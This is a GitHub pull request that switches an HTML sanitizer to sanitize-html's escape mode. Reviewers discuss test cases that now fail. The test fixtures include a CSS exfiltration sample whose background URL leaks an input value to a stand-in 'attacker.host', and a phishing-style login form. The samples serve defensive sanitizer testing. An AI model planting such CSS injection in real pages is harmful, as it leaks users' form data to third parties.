-
Notifications
You must be signed in to change notification settings - Fork 339
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Update sanitize-html that now officially support 'escaping' tags #6143
Conversation
packages/manager/src/utilities/sanitize-html/sanitize-html.test.ts
Outdated
Show resolved
Hide resolved
expect(sanitizeHTML(login)).toBe( | ||
'<form>Username:<br /><input /><br />Password:<br /><input /><br /><br /><input /><br /></form>' | ||
); | ||
expect(sanitizeHTML(aScript)).toBe(`<span>Click me</span>`); |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This test is still working the same way, just moved a bit down the page
@@ -36,19 +37,79 @@ it('should escape script tags, retain child text, and strip attributes', () => { | |||
); | |||
}); | |||
|
|||
it('should escape unwanted blacklisted tags', () => { | |||
expect(sanitizeHTML(login)).toBe( | |||
'<form>Username:<br /><input /><br />Password:<br /><input /><br /><br /><input /><br /></form>' |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This test is broken, it is in this file skipped a bit below
@@ -24,7 +24,7 @@ | |||
"cost-of-modules": "yarn global add cost-of-modules && cost-of-modules --less --no-install --include-dev", | |||
"install:all": "yarn install --frozen-lockfile", | |||
"up": "yarn install:all && yarn start:all", | |||
"postinstall": "yarn workspaces run postinstall", | |||
"postinstall": "patch-package && yarn workspaces run postinstall", |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
There is a patch to apply at the root now as @types/sanitize-html
is hoisted
@@ -329,8 +329,6 @@ | |||
}, | |||
"workspaces": { | |||
"nohoist": [ | |||
"@types/sanitize-html", | |||
"sanitize-html", | |||
"chart.js", |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
These used to not be hoisted because of the path of the patches, this is not necessary anymore as the patch is in the root package
// see doc for this value here: | ||
// https://github.com/apostrophecms/sanitize-html#what-if-i-want-disallowed-tags-to-be-escaped-rather-than-discarded | ||
// 'escape' : the disallowed tags are escaped rather than discarded. Any text or subtags is handled normally | ||
disallowedTagsMode: 'escape' |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Use the new Escape mode in sanitize-html
https://github.com/apostrophecms/sanitize-html#what-if-i-want-disallowed-tags-to-be-escaped-rather-than-discarded
+ // Added disalloedTagMode which was added in v 1.21.0 of sanitize-html | ||
+ // See doc https://github.com/apostrophecms/sanitize-html#what-if-i-want-disallowed-tags-to-be-escaped-rather-than-discarded | ||
+ disallowedTagsMode?: 'discard' | 'escape' | 'recursiveEscape'; | ||
textFilter?: (text: string) => string; |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This patch just declares in the types the option
}); | ||
describe('should not allow CSS attacks by escaping the style tag', () => { | ||
it('simple check scape style tag', () => { | ||
/// This test works very fine |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
works as expected by escaping <style>
xit('originalCssTest', () => { | ||
// This test does not, because the whole line get s discarded | ||
// also my issue | ||
// https://github.com/apostrophecms/sanitize-html/issues/334 |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
does not pass, and returns "",
This is likely related to the input tag
https://github.com/apostrophecms/sanitize-html#what-if-i-want-disallowed-tags-to-be-escaped-rather-than-discarded
|
||
it('should not allow CSS attacks by escaping the style tag', () => { | ||
expect(sanitizeHTML(css)).toBe( | ||
'<style>#username[value="mikeg"] {background:url("https://attacker.host/mikeg");}</style><input />' |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
As you can see below this test does not pass, sanitize now return Nothing with this input,
Although given a test with the style tag and no input tag does escape just the style tag.
Note also i noticed there is which is incorrect i think in the input
const form = `<form action="http://192.168.149.128">Username: | ||
<input type="username" name="username"></form>`; | ||
expect(sanitizeHTML(form)).toBe('</form>'); | ||
}); |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
here simple form + input. input is discarded entirely (i think this is because there is no content to the tag)
const form = `<form>Username: | ||
<input type="username" name="username"></form>`; | ||
expect(sanitizeHTML(form)).toBe(escapedForm2); | ||
}); |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This does not work (see the test right below) it looks like instead of escaping input, as it has no child node they discarded it entirely
Description
Goal:
Consequences:
@types/sanitize-html
as the type library does not support the declare the option we use in the interfaceUnplanned consequences:
TODO BEFORE MERGING
Type of Change
Applicable Tests
yarn test sanitize-html
Note to Reviewers
Here an important things is to Really think about the test cases covered in this.
Notably some existing tests got broken, Sanitize did clean up the input into something non harmful, but not what we expected.
It is not very sure to me that the new output is wrong or why the output we tested was what it was.